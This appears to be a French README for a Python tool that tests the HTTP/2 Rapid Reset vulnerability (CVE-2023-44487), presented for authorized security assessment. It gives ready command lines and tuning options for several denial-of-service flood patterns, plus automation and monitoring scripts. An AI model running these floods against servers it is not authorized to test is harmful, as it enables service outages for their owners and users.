
Outil de test basé sur Python pour CVE-2023-44487 (HTTP/2 Rapid Reset) avec plusieurs schémas d'attaque, configuration granulaire et surveillance pour les évaluations de sécurité autorisées.
Un outil de test Python complet pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Cette version améliorée offre un contrôle granulaire des paramètres de test, plusieurs schémas d'attaque et des capacités de surveillance avancées.
Cet outil est destiné UNIQUEMENT à des fins éducatives et de test autorisé !
CVE-2023-44487, également connue sous le nom de « HTTP/2 Rapid Reset », est une vulnérabilité critique du protocole HTTP/2 qui permet aux attaquants de :
Score CVSS : 7,5 (Élevé)
Impact : Déni de service, épuisement des ressources
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Doit être 3.7+
python3 rapid_reset_test.py https://serveur-cible.com
python3 rapid_reset_test.py https://cible.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://cible.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://cible.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://cible.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://cible.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Option | Description | Défaut |
|---|---|---|
-c, --connections N | Nombre de connexions simultanées | 1 |
--connection-timeout SEC | Délai d'expiration de connexion en secondes | 10 |
--read-timeout SEC | Délai d'expiration de lecture des réponses | 5 |
--connection-delay SEC | Délai entre les connexions | 0.0 |
| Option | Description | Défaut |
|---|---|---|
-r, --requests N | Requêtes par connexion | 100 |
--delay SEC | Délai entre HEADERS et RST_STREAM | 0.001 |
--request-delay SEC | Délai entre les requêtes | 0.0 |
--jitter FACTOR | Facteur de randomisation temporelle | 0.0 |
| Option | Description | Défaut |
|---|---|---|
--pattern TYPE | Schéma d'attaque à utiliser | rapid_reset |
--burst-size N | Requêtes par rafale | 10 |
--burst-delay SEC | Délai entre les rafales | 0.1 |
Schémas disponibles :
rapid_reset - Attaque standard par réinitialisation rapideburst_reset - Attaques par rafalesgradual_reset - Taux croissant progressivementrandom_reset - Synchronisation aléatoirecontinuation_flood - Inondation de trames CONTINUATIONmixed_pattern - Mélange de schémas| Option | Description | Défaut |
|---|---|---|
--window-size BYTES | Taille initiale de fenêtre HTTP/2 | 65535 |
--frame-size BYTES | Taille maximale de trame | 16384 |
--header-table-size BYTES | Taille de table d'en-têtes HPACK | 4096 |
--enable-push | Activer le push serveur HTTP/2 | False |
--rst-error-code CODE | Code d'erreur RST_STREAM | 8 |
| Option | Description | Défaut |
|---|---|---|
--custom-headers HEADER | En-têtes personnalisés (Nom : Valeur) | None |
--random-headers | Générer des en-têtes aléatoires | False |
--header-count N | Nombre d'en-têtes aléatoires | 5 |
| Option | Description | Défaut |
|---|---|---|
--randomize-streams | Utiliser des ID de flux aléatoires | False |
--priority-frames | Inclure les informations de priorité | False |
--continue-on-error | Continuer après les erreurs | True |
--max-errors N | Nombre maximal d'erreurs avant arrêt | 10 |
| Option | Description | Défaut |
|---|---|---|
--track-latency | Suivre la latence des requêtes | False |
--track-responses | Suivre les réponses du serveur | False |
--monitor-memory | Surveiller l'utilisation de la mémoire | False |
| Option | Description | Défaut |
|---|---|---|
--output FORMAT | Format de sortie | console |
--output-file FILE | Nom du fichier de sortie | généré automatiquement |
--verbose, -v | Sortie détaillée | False |
--debug | Journalisation de débogage | False |
--log-file FILE | Journaliser dans un fichier | None |
Formats de sortie disponibles :
console - Sortie console lisible par l'humainjson - JSON lisible par machinecsv - CSV compatible tableurxml - Format XML structuréL'outil fournit des résultats complets comprenant :
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
L'outil évalue automatiquement la vulnérabilité :
Si votre serveur s'avère vulnérable, mettez en œuvre ces mesures d'atténuation :
import subprocess
import json
# Exécuter le test automatisé
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://cible.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# Analyser les résultats
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"RISQUE ÉLEVÉ : {vulnerability_score}% de taux de réussite")
#!/bin/bash
# Tâche cron : 0 2 * * * /chemin/vers/monitor.sh
python3 rapid_reset_test.py https://monserveur.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# Alerte si une vulnérabilité est détectée
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERTE : Le serveur est vulnérable à l'attaque par réinitialisation rapide" | mail -s "Alerte de sécurité" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# Charger et analyser les résultats CSV
df = pd.read_csv('results.csv')
# Visualiser le succès de l'attaque par connexion
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Succès de l\'attaque par connexion')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Distribution des taux de réussite')
plt.show()
Connexion refusée :
Erreurs SSL/TLS :
--debug pour des informations SSL détailléesTaux de réussite faibles :
Problèmes de performance :
--debug et --log-file pour l'analyse--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latencyCet outil est fourni sous licence MIT. Consultez le fichier LICENSE pour plus de détails.
Cet outil est destiné aux professionnels de la cybersécurité, aux chercheurs et aux administrateurs système pour tester leurs propres systèmes ou des systèmes pour lesquels ils disposent d'une autorisation explicite. Les auteurs ne sont pas responsables de toute utilisation abusive de cet outil.
Points juridiques clés :
N'oubliez pas : Un grand pouvoir implique de grandes responsabilités. Utilisez cet outil de manière éthique et légale.
La version améliorée maintient une compatibilité ascendante avec la version de base. Toutes les options de ligne de commande existantes continuent de fonctionner, avec de nouvelles options offrant des capacités supplémentaires.
Pour les utilisateurs qui passent de la version de base :
# L'utilisation de base ancienne fonctionne toujours
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# Nouvelle utilisation améliorée avec options supplémentaires
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json